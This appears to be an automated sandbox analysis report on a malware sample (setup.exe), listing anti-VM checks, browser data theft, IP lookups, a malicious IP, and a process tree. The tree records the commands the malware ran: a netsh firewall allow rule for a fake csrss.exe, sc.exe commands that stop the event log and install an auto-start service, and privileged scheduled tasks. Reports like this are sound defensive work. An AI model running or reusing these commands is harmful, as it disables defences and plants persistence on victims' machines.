djvu | 96a6fdf8a0acdf2bd0b8a1d0b8a7a245839702733c903733c61cd1e9cc0fdb5d

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 3 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5384	netsh.exe
4516	netsh.exe
1104	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2200714112-3788720386-2559682836-1000\Control Panel\International\Geo\Nation	setup.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5964	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 12 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/3452-0-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-6-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-9-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-10-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-11-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-12-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-13-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-14-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-15-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-23-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-130-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida
behavioral2/memory/3452-827-0x00007FF656A00000-0x00007FF65774D000-memory.dmp	themida

Unexpected DNS network traffic destination 7 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	193.233.132.49
Destination IP	193.233.132.49
Destination IP	193.233.132.49
Destination IP	193.233.132.49
Destination IP	193.233.132.49
Destination IP	193.233.132.49
Destination IP	193.233.132.49

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
158	iplogger.org
159	iplogger.org
257	iplogger.org
258	iplogger.org

Looks up external IP address via web service 23 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ipinfo.io
166	api.2ip.ua
186	ipinfo.io
188	ipinfo.io
231	api.2ip.ua
13	api.myip.com
14	api.myip.com
15	ipinfo.io
360	ipinfo.io
267	ipinfo.io
301	ipinfo.io
306	ipinfo.io
591	ipinfo.io
592	ipinfo.io
182	api.myip.com
206	ip-api.com
309	ipinfo.io
302	ipinfo.io
167	api.2ip.ua
180	api.myip.com
230	api.2ip.ua
268	ipinfo.io
590	ipinfo.io

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0009000000023304-1847.dat	autoit_exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\GroupPolicy	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	setup.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	setup.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	setup.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3452	setup.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1700	sc.exe
6072	sc.exe
5584	sc.exe
6980	sc.exe
6956	sc.exe
4992	sc.exe
2548	sc.exe
9312	sc.exe
9792	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
2708	5712	WerFault.exe
5400	5760	WerFault.exe	92
5548	972	WerFault.exe	139
5908	2188	WerFault.exe	120
5556	5752	WerFault.exe	93
5132	1992	WerFault.exe	100
7332	9608	WerFault.exe	327

Creates scheduled task(s) 1 TTPs 15 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1064	schtasks.exe
3632	schtasks.exe
3416	schtasks.exe
9820	schtasks.exe
11136	schtasks.exe
4876	schtasks.exe
2896	schtasks.exe
3356	schtasks.exe
6252	schtasks.exe
6084	schtasks.exe
5540	schtasks.exe
2844	schtasks.exe
612	schtasks.exe
5296	schtasks.exe
4372	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	setup.exe

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
PID:3452
- C:\Users\Admin\Documents\GuardFox\yjDawsRwG7dJzYlL6FZIDbWI.exe
  "C:\Users\Admin\Documents\GuardFox\yjDawsRwG7dJzYlL6FZIDbWI.exe"
  2⤵
  PID:5768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:2788
- - C:\Users\Admin\Documents\GuardFox\yjDawsRwG7dJzYlL6FZIDbWI.exe
    "C:\Users\Admin\Documents\GuardFox\yjDawsRwG7dJzYlL6FZIDbWI.exe"
    3⤵
    PID:4512
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:5716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:5804
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:4516
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:2332
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:9012
  - - C:\Windows\rss\csrss.exe
      C:\Windows\rss\csrss.exe
      4⤵
      PID:7440
- C:\Users\Admin\Documents\GuardFox\u1dzMticzGzoupT9YNWyxiKx.exe
  "C:\Users\Admin\Documents\GuardFox\u1dzMticzGzoupT9YNWyxiKx.exe"
  2⤵
  PID:5760
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5760 -s 340
    3⤵
    - Program crash
    PID:5400
- C:\Users\Admin\Documents\GuardFox\3n4nguAXH6fJPFuvtbAokiqS.exe
  "C:\Users\Admin\Documents\GuardFox\3n4nguAXH6fJPFuvtbAokiqS.exe"
  2⤵
  PID:5752
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5752 -s 1088
    3⤵
    - Program crash
    PID:5556
- C:\Users\Admin\Documents\GuardFox\xic3sRbCRy_9eaIfb4lzNHXf.exe
  "C:\Users\Admin\Documents\GuardFox\xic3sRbCRy_9eaIfb4lzNHXf.exe"
  2⤵
  PID:5744
- C:\Users\Admin\Documents\GuardFox\EBUCrhsjtEO1Vc16ZkafMdOv.exe
  "C:\Users\Admin\Documents\GuardFox\EBUCrhsjtEO1Vc16ZkafMdOv.exe"
  2⤵
  PID:5736
- C:\Users\Admin\Documents\GuardFox\Xjh5ZP15OBrmuDxw415uLr94.exe
  "C:\Users\Admin\Documents\GuardFox\Xjh5ZP15OBrmuDxw415uLr94.exe"
  2⤵
  PID:5728
- - C:\Users\Admin\AppData\Local\Temp\is-KAA9J.tmp\Xjh5ZP15OBrmuDxw415uLr94.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-KAA9J.tmp\Xjh5ZP15OBrmuDxw415uLr94.tmp" /SL5="$601D6,2654704,54272,C:\Users\Admin\Documents\GuardFox\Xjh5ZP15OBrmuDxw415uLr94.exe"
    3⤵
    PID:4732
- C:\Users\Admin\Documents\GuardFox\5PwgFmONFy9aI9cGMw565sAv.exe
  "C:\Users\Admin\Documents\GuardFox\5PwgFmONFy9aI9cGMw565sAv.exe"
  2⤵
  PID:2864
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    3⤵
    PID:760
- C:\Users\Admin\Documents\GuardFox\1QJUnJce_HgohUrse0TmTp8E.exe
  "C:\Users\Admin\Documents\GuardFox\1QJUnJce_HgohUrse0TmTp8E.exe"
  2⤵
  PID:1580
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
    3⤵
    PID:648
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"
      4⤵
      PID:4624
- C:\Users\Admin\Documents\GuardFox\palwUFhGBWCr7ip_Ca40fDWv.exe
  "C:\Users\Admin\Documents\GuardFox\palwUFhGBWCr7ip_Ca40fDWv.exe"
  2⤵
  PID:1992
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1992 -s 1340
    3⤵
    - Program crash
    PID:5132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:4520
- C:\Users\Admin\Documents\GuardFox\jaWgfgohBg4B0gBBHOzpWTXA.exe
  "C:\Users\Admin\Documents\GuardFox\jaWgfgohBg4B0gBBHOzpWTXA.exe"
  2⤵
  PID:612
- C:\Users\Admin\Documents\GuardFox\VZejCxlQqwrAZBNj9UllYfkl.exe
  "C:\Users\Admin\Documents\GuardFox\VZejCxlQqwrAZBNj9UllYfkl.exe"
  2⤵
  PID:376
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV1\MSIUpdaterV1.exe" /tn "MSIUpdaterV1 HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV1\MSIUpdaterV1.exe" /tn "MSIUpdaterV1 LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2844
- - C:\Users\Admin\AppData\Local\Temp\heidi5McdMkcvpYks\vKr1dWF2n80egRaWMYeG.exe
    "C:\Users\Admin\AppData\Local\Temp\heidi5McdMkcvpYks\vKr1dWF2n80egRaWMYeG.exe"
    3⤵
    PID:3636
- - C:\Users\Admin\AppData\Local\Temp\heidi5McdMkcvpYks\30nWkqHw7fdYKozkZkfg.exe
    "C:\Users\Admin\AppData\Local\Temp\heidi5McdMkcvpYks\30nWkqHw7fdYKozkZkfg.exe"
    3⤵
    PID:5364
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "CUWBYXDX"
      4⤵
      Launches sc.exe
      PID:9312
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "CUWBYXDX" binpath= "C:\ProgramData\efpntmfaucgb\wswowdclofaf.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:9792
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:6980
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "CUWBYXDX"
      4⤵
      Launches sc.exe
      PID:6956
- C:\Users\Admin\Documents\GuardFox\tNSxQPHxKCHVcxyGkJyBZ37N.exe
  "C:\Users\Admin\Documents\GuardFox\tNSxQPHxKCHVcxyGkJyBZ37N.exe"
  2⤵
  PID:3136
- C:\Users\Admin\Documents\GuardFox\ImdnMw4GgerRB0lja9kjmxC1.exe
  "C:\Users\Admin\Documents\GuardFox\ImdnMw4GgerRB0lja9kjmxC1.exe"
  2⤵
  PID:5244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:3364
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa8c339758,0x7ffa8c339768,0x7ffa8c339778
      4⤵
      PID:3476
- C:\Users\Admin\Documents\GuardFox\QVdIStQTZWn83YPAEWSbGRWG.exe
  "C:\Users\Admin\Documents\GuardFox\QVdIStQTZWn83YPAEWSbGRWG.exe"
  2⤵
  PID:4900
- C:\Users\Admin\Documents\GuardFox\7S5J97d6Qv95HXC6cV1EqOZ4.exe
  "C:\Users\Admin\Documents\GuardFox\7S5J97d6Qv95HXC6cV1EqOZ4.exe"
  2⤵
  PID:3232
- C:\Users\Admin\Documents\GuardFox\q8CunrLhWxA6_rMIAU9Jln4G.exe
  "C:\Users\Admin\Documents\GuardFox\q8CunrLhWxA6_rMIAU9Jln4G.exe"
  2⤵
  PID:3424
- C:\Users\Admin\Documents\GuardFox\twHokJC4KVHWrxF2vpILdMOt.exe
  "C:\Users\Admin\Documents\GuardFox\twHokJC4KVHWrxF2vpILdMOt.exe"
  2⤵
  PID:2568
- C:\Users\Admin\Documents\GuardFox\RVuuSv3iOqQtR6SVCDxAueXL.exe
  "C:\Users\Admin\Documents\GuardFox\RVuuSv3iOqQtR6SVCDxAueXL.exe"
  2⤵
  PID:5720
- C:\Users\Admin\Documents\GuardFox\e9t9r2OIUPAZkHtd4hU2htJl.exe
  "C:\Users\Admin\Documents\GuardFox\e9t9r2OIUPAZkHtd4hU2htJl.exe"
  2⤵
  PID:5712
- C:\Users\Admin\Documents\GuardFox\F3lo_B4_N4ljWiYZOrLBDAwj.exe
  "C:\Users\Admin\Documents\GuardFox\F3lo_B4_N4ljWiYZOrLBDAwj.exe"
  2⤵
  PID:5696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:1064
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV131_b413111ef3dcdb5fc34477a6712174ae\MSIUpdaterV131.exe" /tn "MSIUpdaterV131_b413111ef3dcdb5fc34477a6712174ae HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:6084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MSIUpdaterV131_b413111ef3dcdb5fc34477a6712174ae\MSIUpdaterV131.exe" /tn "MSIUpdaterV131_b413111ef3dcdb5fc34477a6712174ae LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5540
- - C:\Users\Admin\AppData\Local\Temp\heidiPcfBKJAQEyHi\mNUkneZUg5xjodh59Kaw.exe
    "C:\Users\Admin\AppData\Local\Temp\heidiPcfBKJAQEyHi\mNUkneZUg5xjodh59Kaw.exe"
    3⤵
    PID:5948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/
      4⤵
      PID:620
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa875546f8,0x7ffa87554708,0x7ffa87554718
        5⤵
        
        PID:5440
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,1871575037725586405,18076764436898846690,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=2248 /prefetch:3
        5⤵
        
        PID:6440
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,1871575037725586405,18076764436898846690,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2184 /prefetch:2
        5⤵
        
        PID:6432
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.linkedin.com/login
      4⤵
      PID:5752
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xe4,0x108,0x7ffa875546f8,0x7ffa87554708,0x7ffa87554718
        5⤵
        
        PID:5236
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
        5⤵
        
        PID:2888
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=2196 /prefetch:3
        5⤵
        
        PID:6168
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --service-sandbox-type=utility --mojo-platform-channel-handle=2832 /prefetch:8
        5⤵
        
        PID:6384
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
        5⤵
        
        PID:7092
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
        5⤵
        
        PID:7076
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3840 /prefetch:1
        5⤵
        
        PID:7704
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4020 /prefetch:1
        5⤵
        
        PID:7312
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4216 /prefetch:1
        5⤵
        
        PID:8420
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4460 /prefetch:1
        5⤵
        
        PID:8676
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4732 /prefetch:1
        5⤵
        
        PID:8804
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4928 /prefetch:1
        5⤵
        
        PID:8992
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:1
        5⤵
        
        PID:9124
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5880 /prefetch:1
        5⤵
        
        PID:9164
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5884 /prefetch:1
        5⤵
        
        PID:8200
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1
        5⤵
        
        PID:6188
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7112 /prefetch:1
        5⤵
        
        PID:11020
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7100 /prefetch:1
        5⤵
        
        PID:10972
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7764 /prefetch:1
        5⤵
        
        PID:10156
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,167703839402224526,6190854228789140888,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7420 /prefetch:1
        5⤵
        
        PID:4052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
